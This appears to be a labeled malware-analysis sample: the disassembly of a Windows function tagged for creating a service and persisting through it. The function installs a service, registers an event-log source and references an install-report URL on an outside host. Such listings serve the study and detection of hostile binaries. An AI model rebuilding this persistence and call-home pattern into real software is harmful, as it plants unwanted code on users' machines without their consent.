Function at 0x4293b0
Capabilities:
Create service
Persist via windows service

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x525b86
mov eax, dword fs:[0]
push eax
sub esp, 0x39c
mov eax, dword [0x57594c]
xor eax, ebp
mov dword [ebp - 0x10], eax
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x2d4], ecx
mov dword [ebp - 4], 1
lea ecx, [ebp + 8]
call fcn.00424da0
test eax, eax
jle 0x429400
lea ecx, [ebp + 0x20]
call fcn.00424da0
test eax, eax
jg 0x429430
mov dword [ebp - 0x300], 0
mov byte [ebp - 4], 0
lea ecx, [ebp + 8]
call fcn.004068e0
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp + 0x20]
call fcn.004068e0
mov eax, dword [ebp - 0x300]
jmp 0x429a93
push 0xf003f
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov dword [ebp - 0x2d8], eax
cmp dword [ebp - 0x2d8], 0
jne 0x42947e
mov dword [ebp - 0x320], 0
mov byte [ebp - 4], 0
lea ecx, [ebp + 8]
call fcn.004068e0
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp + 0x20]
call fcn.004068e0
mov eax, dword [ebp - 0x320]
jmp 0x429a93
lea eax, [ebp - 0x228]
push eax
call fcn.00427420
add esp, 4
mov byte [ebp - 4], 2
push str.__s
lea ecx, [ebp - 0x228]
call fcn.0040e3b0
mov ecx, dword [ebp - 0x2d4]
add ecx, 4
push ecx
lea ecx, [ebp - 0x228]
call fcn.00408350
push str.__uid:
lea ecx, [ebp - 0x228]
call fcn.0040e3b0
lea edx, [ebp + 8]
push edx
lea ecx, [ebp - 0x228]
call fcn.00408350
push str.__local:
lea ecx, [ebp - 0x228]
call fcn.0040e3b0
lea eax, [ebp + 0x20]
push eax
lea ecx, [ebp - 0x228]
call fcn.00408350
lea ecx, [ebp - 0x240]
push ecx
lea ecx, [ebp - 0x228]
call fcn.00424a30
mov dword [ebp - 0x328], eax
mov edx, dword [ebp - 0x328]
mov dword [ebp - 0x330], edx
mov byte [ebp - 4], 3
mov ecx, dword [ebp - 0x330]
call fcn.00409770
push eax
push str.install_path:__s
call fcn.004256d0
add esp, 8
mov byte [ebp - 4], 2
lea ecx, [ebp - 0x240]
call fcn.00406d30
lea eax, [ebp - 0x288]
push eax
lea ecx, [ebp - 0x228]
call fcn.00424a30
mov dword [ebp - 0x338], eax
mov ecx, dword [ebp - 0x338]
mov dword [ebp - 0x350], ecx
mov byte [ebp - 4], 4
lea edx, [ebp - 0x270]
push edx
mov ecx, dword [ebp - 0x2d4]
add ecx, 4
call fcn.00424a30
mov dword [ebp - 0x340], eax
mov eax, dword [ebp - 0x340]
mov dword [ebp - 0x358], eax
mov byte [ebp - 4], 5
lea ecx, [ebp - 0x258]
push ecx
mov ecx, dword [ebp - 0x2d4]
add ecx, 4
call fcn.00424a30
mov dword [ebp - 0x348], eax
mov edx, dword [ebp - 0x348]
mov dword [ebp - 0x2ec], edx
mov byte [ebp - 4], 6
push 0
push 0
push 0
push 0
push 0
mov ecx, dword [ebp - 0x350]
call fcn.00409770
push eax
push 1
push 2
push 0x110
push 0xf01ff
mov ecx, dword [ebp - 0x358]
call fcn.00409770
push eax
mov ecx, dword [ebp - 0x2ec]
call fcn.00409770
push eax
mov eax, dword [ebp - 0x2d8]
push eax
call dword [sym.imp.ADVAPI32.dll_CreateServiceW]
mov dword [ebp - 0x2e0], eax
mov byte [ebp - 4], 5
lea ecx, [ebp - 0x258]
call fcn.00406d30
mov byte [ebp - 4], 4
lea ecx, [ebp - 0x270]
call fcn.00406d30
mov byte [ebp - 4], 2
lea ecx, [ebp - 0x288]
call fcn.00406d30
cmp dword [ebp - 0x2e0], 0
jne 0x42977b
mov ecx, dword [ebp - 0x2d8]
push ecx
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
push 0
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x380], esp
push 0x5492b4
call fcn.004067b0
mov dword [ebp - 0x318], eax
mov edx, dword [ebp - 0x318]
mov dword [ebp - 0x368], edx
mov byte [ebp - 4], 7
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x370], esp
push 0x5492b8
call fcn.004067b0
mov dword [ebp - 0x324], eax
mov eax, dword [ebp - 0x324]
mov dword [ebp - 0x378], eax
mov byte [ebp - 4], 8
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x35c], esp
lea edx, [ebp + 8]
push edx
call fcn.00406900
mov dword [ebp - 0x2f4], eax
mov eax, dword [ebp - 0x2f4]
mov dword [ebp - 0x388], eax
mov byte [ebp - 4], 9
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x390], esp
push 0x5492d4
call fcn.004067b0
mov dword [ebp - 0x34c], eax
mov ecx, dword [ebp - 0x34c]
mov dword [ebp - 0x398], ecx
mov byte [ebp - 4], 0xa
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x3a0], esp
push 0x5492e8
call fcn.004067b0
mov dword [ebp - 0x2fc], eax
mov edx, dword [ebp - 0x2fc]
mov dword [ebp - 0x3a8], edx
mov byte [ebp - 4], 0xb
mov byte [ebp - 4], 2
call fcn.00421b90
add esp, 0x7c
mov dword [ebp - 0x32c], 0
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x228]
call fcn.004068e0
mov byte [ebp - 4], 0
lea ecx, [ebp + 8]
call fcn.004068e0
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp + 0x20]
call fcn.004068e0
mov eax, dword [ebp - 0x32c]
jmp 0x429a93
push 1
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x364], esp
push 0x5492e4
call fcn.004067b0
mov dword [ebp - 0x304], eax
mov eax, dword [ebp - 0x304]
mov dword [ebp - 0x3a4], eax
mov byte [ebp - 4], 0xc
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x36c], esp
push str.UpgSvrInstall
call fcn.004067b0
mov dword [ebp - 0x344], eax
mov ecx, dword [ebp - 0x344]
mov dword [ebp - 0x38c], ecx
mov byte [ebp - 4], 0xd
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x374], esp
lea edx, [ebp + 8]
push edx
call fcn.00406900
mov dword [ebp - 0x30c], eax
mov eax, dword [ebp - 0x30c]
mov dword [ebp - 0x39c], eax
mov byte [ebp - 4], 0xe
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x37c], esp
push 0x54935c
call fcn.004067b0
mov dword [ebp - 0x334], eax
mov ecx, dword [ebp - 0x334]
mov dword [ebp - 0x394], ecx
mov byte [ebp - 4], 0xf
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x384], esp
push str.http:__xiaobingdou.com_reportInstallaa.aspx
call fcn.004067b0
mov dword [ebp - 0x314], eax
mov edx, dword [ebp - 0x314]
mov dword [ebp - 0x360], edx
mov byte [ebp - 4], 0x10
mov byte [ebp - 4], 2
call fcn.00421b90
add esp, 0x7c
mov dword [ebp - 0x2dc], 0
push str.SYSTEMCurrentControlSetServicesEventLogApplication_
lea eax, [ebp - 0x210]
push eax
call fcn.0042a4c0
add esp, 8
lea ecx, [ebp - 0x2a0]
push ecx
mov ecx, dword [ebp - 0x2d4]
add ecx, 4
call fcn.00424a30
mov dword [ebp - 0x354], eax
mov edx, dword [ebp - 0x354]
mov dword [ebp - 0x31c], edx
mov byte [ebp - 4], 0x11
mov ecx, dword [ebp - 0x31c]
call fcn.00409770
push eax
lea eax, [ebp - 0x210]
push eax
call fcn.0042a4e0
add esp, 8
mov byte [ebp - 4], 2
lea ecx, [ebp - 0x2a0]
call fcn.00406d30
lea ecx, [ebp - 0x2dc]
push ecx
lea edx, [ebp - 0x210]
push edx
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyW]
test eax, eax
je 0x429948
mov eax, dword [ebp - 0x2e0]
push eax
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov ecx, dword [ebp - 0x2d8]
push ecx
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov dword [ebp - 0x33c], 0
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x228]
call fcn.004068e0
mov byte [ebp - 4], 0
lea ecx, [ebp + 8]
call fcn.004068e0
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp + 0x20]
call fcn.004068e0
mov eax, dword [ebp - 0x33c]
jmp 0x429a93
lea edx, [ebp - 0x2d0]
push edx
lea ecx, [ebp - 0x228]
call fcn.00424a30
mov dword [ebp - 0x2e8], eax
mov eax, dword [ebp - 0x2e8]
mov dword [ebp - 0x2f0], eax
mov byte [ebp - 4], 0x12
lea ecx, [ebp - 0x228]
call fcn.00424da0
add eax, 1
push eax
mov ecx, dword [ebp - 0x2f0]
call fcn.00409770
push eax
push 2
push 0
push str.EventMessageFile
mov ecx, dword [ebp - 0x2dc]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov byte [ebp - 4], 2
lea ecx, [ebp - 0x2d0]
call fcn.00406d30
mov dword [ebp - 0x2f8], 7
push 4
lea edx, [ebp - 0x2f8]
push edx
push 4
push 0
push str.TypesSupported
mov eax, dword [ebp - 0x2dc]
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov ecx, dword [ebp - 0x2dc]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea edx, [ebp - 0x2b8]
push edx
mov ecx, dword [ebp - 0x2d4]
add ecx, 4
call fcn.00424a30
mov dword [ebp - 0x2e4], eax
mov eax, dword [ebp - 0x2e4]
mov dword [ebp - 0x308], eax
mov byte [ebp - 4], 0x13
push 0
push 0
mov ecx, dword [ebp - 0x308]
call fcn.00409770
push eax
push 0x64
push 4
mov ecx, dword [ebp - 0x2d4]
call fcn.00429c30
mov byte [ebp - 4], 2
lea ecx, [ebp - 0x2b8]
call fcn.00406d30
mov ecx, dword [ebp - 0x2e0]
push ecx
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov edx, dword [ebp - 0x2d8]
push edx
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov dword [ebp - 0x310], 1
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x228]
call fcn.004068e0
mov byte [ebp - 4], 0
lea ecx, [ebp + 8]
call fcn.004068e0
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp + 0x20]
call fcn.004068e0
mov eax, dword [ebp - 0x310]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.004b8d48
mov esp, ebp
pop ebp
ret 0x30